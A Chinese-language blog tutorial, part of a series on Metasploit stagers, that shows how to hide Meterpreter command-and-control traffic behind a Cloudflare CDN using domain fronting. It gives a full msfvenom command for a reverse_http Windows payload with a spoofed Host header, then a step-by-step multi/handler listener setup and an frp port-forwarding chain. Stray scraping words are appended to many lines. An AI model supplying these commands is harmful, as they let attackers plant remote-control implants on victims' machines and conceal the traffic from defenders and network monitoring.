msf stagers開發不徹底指北(四): msf 中使用域前置技術隱藏流量

msf 中使用域前置技術隱藏流量

前幾篇都是說了下如何採用不一樣的語言開發 reverse_tcp 第二階段,接下來將慢慢分析 reverse_http,這篇文章並不會圍繞 stagers 進行講解,這篇文章只是半埋上我以前挖的一個坑,關於域前置技術如何在 msf 中進行應用。windows

域前置技術介紹

域前置技術(Domain-Fronting)顧名思義,把域名放在前面,流量的前面,那麼咱們應該如何作到這件事情,這個通常就是利用各大 cdn 服務了。緩存

cdn 技術我不用作過多介紹,相信你們給本身的網站上 cdn 都會上,簡略來講原理的話,在域名註冊商那裏把 ns 記錄,也就是 dns 解析服務器指向到你選擇的 cdn 服務商,而後 cdn 就能夠接管你的域名解析了,經過不一樣的緩存分流策略,把流量通過他的服務器後再轉發給咱們本身,也就是 cdn 後面的真實ip咱們是不容易找到的。bash

那麼應用到 C2 上,咱們 C2 服務器也能夠掛在 cdn 後面,流量經過 cdn 轉發回來。服務器

具體更爲詳細的介紹能夠參見 紅隊行動之魚叉攻擊-傾旋dom

基礎配置

首先無論怎樣你須要有一個服務器,以及一個加了 cdn 的域名執行你服務器tcp

這裏我假設咱們持有的域名爲 test.akkuman.com,域名配好 cdn 指向的服務器是 1.1.1.1ide

這裏你是把服務器架在 msf 上面仍是內網穿透打通端口,這個看本身喜愛測試

我這裏是 msf 位於其餘地方 2.2.2.2,而後 2.2.2.2 的 5555 端口經過 frp 映射到 1.1.1.1 的 80 端口上。網站

5555 端口是咱們待會 msf 監聽的端口,80 端口是由於訪問域名,http 協議,訪問80。3d

由於這些流量會經過 cdn 先轉發到咱們主機上的 80 端口,而後 80 端口上的流量會經過 frp 處理後送到咱們本機監聽的 5555 端口上。

生成 msf payload

基礎一些配置作好以後,咱們能夠生成 payload 了。

首先咱們須要獲得一個 cdn 的 ip,由於 cdn 是依靠 http header 中的 Host 頭進行流量轉發的,因此咱們只須要 ping 一下咱們加了 cdn 的域名便可得到一個 ip,這裏我是用的 cloudflare,得到的一個 ip 爲 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

這裏 LHOST 爲咱們獲取的 cdn ip,由於是 http 協議的 payload,訪問域名是訪問 80 端口,LPORT 咱們設置爲 80

HttpHostHeader 選項爲這個生成的 payload 使用 http 協議回連到 cdn ip 時 http header 所使用的 Host 頭,還記得咱們剛纔說的 cdn 如何識別域名進行流量轉發嗎,這個就主要是爲了 cdn 可以把流量轉回到咱們本身的服務器

建立監聽器

msf 在監聽中有一些配置須要說明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 爲給 payload 返回第二階段載荷時填入的 ip 地址,即第二階段會回連到這個 ip

  • lport 爲給 payload 返回第二階段載荷時填入的 port,即第二階段會回連到這個端口

  • HttpHostHeader 前面說過,是 payload 回連到這個 ip 和 port 時在 http header 中填入的 Host 頭

  • OverrideRequestHost 這個選項須要設置爲 true,主要是由於 msf 的歷史緣由,msf 默認是使用傳入請求 http header 中的 Host 字段來做爲第二階段的配置,也就是第二階段會採用創建鏈接時傳入請求的 Host,這種默認行爲在大多數請求下沒問題,具體能夠自行測試,具體是須要 cdn 回連到咱們真實 ip 時傳遞的域名是咱們想要的,這個參數設置爲 true 可讓 msf 忽略傳入請求的 Host 頭,而使用咱們在 HttpHostHeader 中設置的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 參數主要是由於個人環境問題,我是經過 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,若是你的 msf 直接在 1.1.1.1 上,那麼 duck 沒必要這麼作,直接監聽 80 就好

ReverseListenerBindAddress 這個參數其實設置不設置都不要緊,可是不設置的話會有個小報錯,

[-] Handler failed to bind to 172.67.207.124:80

這是由於 handler 沒法將 cdn 的 ip 綁定到LHOST,由於這個 ip 在咱們服務器上不存在,綁定失敗就會提示這個,而後繼續綁定 0.0.0.0。若是想要在界面上不顯示這個錯誤,須要設置 ReverseListenerBindAddress 爲 0.0.0.0 或者 127.0.0.1 之類的

能夠看到,當咱們不設置 ReverseListenerBindAddress 和 ReverseListenerBindPort 時會出現上面的報錯 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是但願監聽 80 的,而 1.1.1.1:80 上面的流量是轉發到咱們服務器 (2.2.2.2) 本機的 5555 端口上的。

因此咱們的監聽程序實際上須要監聽在 5555 端口上,因此須要設置 ReverseListenerBindPort 參數

上面的 lhost 和 lport 其實主要是爲了第二階段回送服務的。

實際效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:隨機端口] <-> 127.0.0.1:5555

能夠看到不論是請求第二階段仍是後續的心跳包,都是有帶上 Host 頭,流經 cdn 服務器的,這樣咱們就達到了隱藏自身的效果

那麼 msf 會話這邊呢

能夠看到,也是能夠正常使用的

相關文章
相關標籤/搜索